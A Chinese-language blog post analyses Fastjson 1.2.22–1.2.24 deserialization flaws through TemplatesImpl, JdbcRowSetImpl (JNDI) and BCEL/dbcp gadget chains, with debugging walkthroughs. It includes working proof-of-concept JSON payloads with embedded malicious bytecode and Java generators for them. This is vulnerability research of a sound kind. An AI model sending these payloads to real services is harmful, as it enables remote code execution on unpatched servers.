少女祈祷中...

fastjson1.2.24反序列化漏洞

影响版本

Fastjson 1.2.x系列的1.2.22-1.2.24版本。

TemplateImpl的利用链

条件

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)

流程

poc

String evilCode = Base64.encodeBase64String(Calc.getCodeByte());
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'name':'yyjccc','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text);
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAGQEABll5amNjYwcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtZeWpjY2MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY"],
"_name":"yyjccc",
"_tfactory":{ },
"_outputProperties":{ }
}

测试代码:

package com.yyjccc.FastjsonExp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.yyjccc.javassist.Calc;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {

public static void main(String args[]) {
try {
ParserConfig config = new ParserConfig();
String evilCode = Base64.encodeBase64String(Calc.getCodeByte());
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text = "{\"@type\":\"" + NASTY_CLASS + "\",\n\"_bytecodes\":[\"" + evilCode + "\"],\n\"_name\":\"yyjccc\",\n\"_tfactory\":{ },\n\"_outputProperties\":{ }\n}";
System.out.println(text);

Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

设置允许设置私有属性
设置Feature.SupportNonPublicField

ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);

调试

因为设置支持私有属性,所以能够直接反射赋值

  1. _bytecodes数据的base64解码

在读取_bytecodes属性的时候,应为_bytecodes属性为Class数组
会走进ObjectArrayCodec类中deserialze方法中

继续跟进

在JSONScaner中的bytesValue对数据进行base64解码

  1. . this.sortedFieldDeserializers和this.extraFieldDeserializers两组List区别
    FieldDeserializers 是存放了各个属性的反序列化器,其中主要属性和方法:
  • fieldInfo存放属性名,属性getter/setter,Field对象等信息;
  • clazz 存放属性所属类的Class对象
  • parseField() 根据fieldType获取对应的fieldValueDeserilizer完成对属性值的反序列化 和 赋值操作
  1. this.sortedFieldDeserializerssortedFieldDeserializers存放的属性主要来源于beanInfo,在beanInfo的build方法中会将setter/getter符合条件的FieldInfo增加到beanInfo.sortedFields中。其中的FieldInfo都包含了Method对象,最终都通过Method.invoke()进行赋值;
  2. this.extraFieldDeserializers

extraFieldDeserializers 会将getDeclaredFields 符合修饰符条件的Field增加进去。
FieldInfo Method对象为空,最终都通过Field.set()进行赋值;

除去_outputProperties前面的_
在JavaBeanDeserializer#smartMatch中处理

当没有获取到deserializer的时候
处理属性名除去_

到最后操作_outputProperties的时候触发链子
触发到达TemplateImpl#getOutputProperties中

往下就是非常常见的TemplatesImpl字节码加载的触发链
跟进newTransformer中

跟进getTransletInstance中

_name属性不能为null,否则提前退出
进入defineTransletClasses()
创建了一个类加载器,然后如下循环加载_bytecodes中的字符数组

加载后会检查加载的类是否是继承于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
因此加载的恶意类需要设置父类:AbstractTranslet

JdbcRowSetImpl利用链

条件

  • fastjson版本<=1.2.24
  • 机器能出网,能够打jndi

流程

BaseRowSet#setDataSourceName

JdbcRowSetImpl#setAutoCommit->
JdbcRowSetImpl#connect->
JdbcRowSetImpl#getDataSourceName
lookup()

Poc

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"DataSourceName":"rmi://127.0.0.1:8085/YjQUxZVf",
"AutoCommit":false
}

测试代码

public class JdbcRowSetImplPoc {
public static void main(String[] args) {
String jndiAddress="rmi://127.0.0.1:8085/YjQUxZVf";
String data="{\n\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n\"DataSourceName\":\""+jndiAddress+"\",\n\"AutoCommit\":false\n}";
System.out.println(data);
JSON.parseObject(data);
//JSON.parse(data);
}
}

调式

在设置AutoCommit属性的时候触发链子
JdbcRowSetImpl#setAutoCommit方法中

跟进connect方法

这里直接初始化了JNDI上下文环境,使用lookup查询DataSourceName
因此可以设置DataSourceName的值打jndi

Bcel字节码加载攻击链

条件

  • 需要有如下commons-dbcp依赖或者tomc-dbcp依赖
  • fastjson<=1.2.36
  • jdk<8u251

特殊点: com.sun.org.apache.bcel是位于原生的JDK中的:
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。

  1. 自定义使用加载类的Classloader为com.sun.org.apache.bcel.internal.util.ClassLoader
  2. 自定义指定Classloader加载的类名

Poc

  1. commons-dbcp
    <dependency>
    <groupId>commons-dbcp</groupId>
    <artifactId>commons-dbcp</artifactId>
    <version>1.4</version>
    </dependency>
    po

流程

BasicDataSource#setDriverClassName()
BasicDataSource#setDriverClassLoader()

BasicDataSource#getConnection()->
BasicDataSource#createDataSource()->
BasicDataSource#createConnectionFactory()->
Class.forName()
  1. tomcat-dbcp
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.65</version>
    </dependency>
    poc
    {
    "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$8f$cdJ$c3P$Q$85$cf$f4$t$89$b7Q$9bj$ab$$$5d$99$ba$b0$hw$zn$EW$82bAq$Z$c7K$b8$n$s$90$de$W$7d$y7$w$$$7c$A$lJ$9c$h$x$W$9c$cd$cca$ce$7c$9c$f9$fcz$ff$Ap$8c$3d$82w$fb$941$b3$P$ot$b3d$91$8c$f2$a4HG$Xw$99f$eb$a3I$I$s$9c$9b$c2$d8$TB3$k$5e$TZ$a7$e5$bd$sD$7f$ee$abya$cd$83$f6$R$QT$aa$edR$T$fa$f1$f0$fc$9fm$iB$a1$a3$b0$86P$60$9c$e4$i$60C$s$fd$a8$99p$Q$af$5cLme$8at$bc$K$b9$acJ$d6$b3$99$40$ba$88$i$a4$tOL$ea$80$n$b6$e1$v$b4$d0$97$Y$d3r$5e$b1$3e3$b9$c4$e8$fc$3cy$e4$u$d8GC$y$ae$g$I$d0$86$H$82$_j$m$da$95z$c3zo$f3$F$5b7$cf$b5$sG$5dz$o$e9$q$bd$7d$f8$8a$c1$efz$a7F$ed$7e$D$3c$n8iV$B$A$A",
    "driverClassLoader":{
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
    }
    }
  • tomcat7:

org.apache.tomcat.dbcp.dbcp.BasicDataSource

  • tomcat8及其以后:

org.apache.tomcat.dbcp.dbcp2.BasicDataSource
流程


BasicDataSource#setDriverClassName()
BasicDataSource#setDriverClassLoader()

BasicDataSource#getConnection()->
BasicDataSource#createDataSource()->
BasicDataSource#createConnectionFactory()->
DriverFactory#createDrive()->
Class.forName()

c

{
"@type":"org.apache.commons.dbcp.BasicDataSource",
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$8f$cdJ$c3P$Q$85$cf$f4$t$89$b7Q$9bj$ab$$$5d$99$ba$b0$hw$zn$EW$82bAq$Z$c7K$b8$n$s$90$de$W$7d$y7$w$$$7c$A$lJ$9c$h$x$W$9c$cd$cca$ce$7c$9c$f9$fcz$ff$Ap$8c$3d$82w$fb$941$b3$P$ot$b3d$91$8c$f2$a4HG$Xw$99f$eb$a3I$I$s$9c$9b$c2$d8$TB3$k$5e$TZ$a7$e5$bd$sD$7f$ee$abya$cd$83$f6$R$QT$aa$edR$T$fa$f1$f0$fc$9fm$iB$a1$a3$b0$86P$60$9c$e4$i$60C$s$fd$a8$99p$Q$af$5cLme$8at$bc$K$b9$acJ$d6$b3$99$40$ba$88$i$a4$tOL$ea$80$n$b6$e1$v$b4$d0$97$Y$d3r$5e$b1$3e3$b9$c4$e8$fc$3cy$e4$u$d8GC$y$ae$g$I$d0$86$H$82$_j$m$da$95z$c3zo$f3$F$5b7$cf$b5$sG$5dz$o$e9$q$bd$7d$f8$8a$c1$efz$a7F$ed$7e$D$3c$n8iV$B$A$A",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
}
}

上面payload只是parseObject方法能够触发
parse下能够触发

{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
  • 首先是将原payload包上{},放在value的位置,这样反序列化后,就会获得一个JSONObject对象
  • 之后再将其包上{},放在key的位置,在Parse中,Key为Json,则会调用其toString方法,而toString会触发getter(ASM实现),从而实现触发。

也就是先再外部套一层构造出JSONObject
再使其为key,放入json中

这里反序列化JSONObject的时候,会调用JSONObject.toString方法,然后调用getter方法

测试代码

package com.yyjccc.fastjson.exp.low;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.yyjccc.javassist.Calc;
import java.io.IOException;
/**
* 版本: Fastjson <=1.2.36版本 <br/>
* 条件: commons-dbcp依赖,或者是tomcat-dbcp依赖。只能parseObject触发<br/>
* jdk: 低于jdk8u251 <br/>
* 描述: 利用fastjson打BCEL字节码加载
*/

public class BcelCodeLoadGadget {

public static String bcelEncode(byte[] bytecode) {

try {
return "$$BCEL$$" + Utility.encode(bytecode, true);
} catch (IOException e) {
throw new RuntimeException(e);
}

}

public static void main(String[] args) {



String BCELCode=bcelEncode(Calc.getCodeByte());
String data=TomcatGadgetHigh(BCELCode);
JSON.parseObject(data);
//JSON.parse(data);
}


public static String commonGadget(String BCELCode){
String data="{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\n\"driverClassName\":\""+BCELCode+"\",\n\"driverClassLoader\":{\n\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n}\n}";
System.out.println(data);
return data;
}

public static String TomcatGadgetHigh(String BCELCode){
String data="{\n\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n\"driverClassName\":\""+BCELCode+"\",\n\"driverClassLoader\":{\n\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n}\n}";
System.out.println(data);
return data;
}
}

调式

注:调的是tomcat-dbcp,另外一个代码稍有不一样
先看看Bcel的ClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()

会判断是否是$$BCEL$$开头

跟进createClass方法

会去除固定前缀,后面使用Utility.decode进行解码
看一眼Utility#decode

里面还使用了gzip
再看看对应的encode

这里是没有加上前缀的,写一个bcel字节码编码函数

public static String bcelEncode(byte[] bytecode)  {
try {
return "$$BCEL$$" + Utility.encode(bytecode, true);
} catch (IOException e) {
throw new RuntimeException(e);
}

}

再看看触发函数
parseObject函数后面会调用JSON.toJSON方法,
在这里会调用所有的getter方法
BasicDataSource#getConnection

跟进createDataSource方法

继续跟进createConnectionFactory方法
然后到达DriverFactory#createDriver方法

forName加载字节码,并进行了初始化

Reference